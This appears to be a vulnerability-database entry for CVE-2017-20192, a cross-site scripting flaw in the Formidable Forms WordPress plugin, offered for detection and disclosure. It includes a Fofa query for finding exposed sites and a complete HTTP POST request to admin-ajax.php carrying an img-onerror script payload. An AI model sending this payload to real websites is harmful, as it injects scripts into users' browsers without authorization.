🔙 목록으로 돌아가기

CVE-2017-20192: Formidable Forms < 2.05.02 - Cross-Site Scripting

TitleFormidable Forms < 2.05.02 - Cross-Site Scripting
Author0xanis
SeverityMedium
ImpactAttackers can execute arbitrary scripts in users' browsers, potentially leading to session hijacking, defacement, or redirection.
RemediationUpdate to version 2.05.03 or later.
CVSS Score6.1
EPSS Score0.29483
CVE IDCVE-2017-20192
CWE IDCWE-79
Fofa Querybody="formidable" && body="wp-content/plugins"
Tags cve cve2017 wordpress wp-plugin formidable xss reflected vkev

🔍 Vulnerability Description

Formidable Form Builder for WordPress versions before 2.05.03 contains a stored cross-site scripting caused by insufficient input sanitization and output escaping in form parameters like ‘after_html’, letting unauthenticated attackers inject and execute arbitrary scripts in victims’ browsers

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.4.21
Connection: close
Content-Length: 92
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=frm_forms_preview&before_html=<img src=x on[entry_key]error=alert(document.domain) />

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-20192.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-20192.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A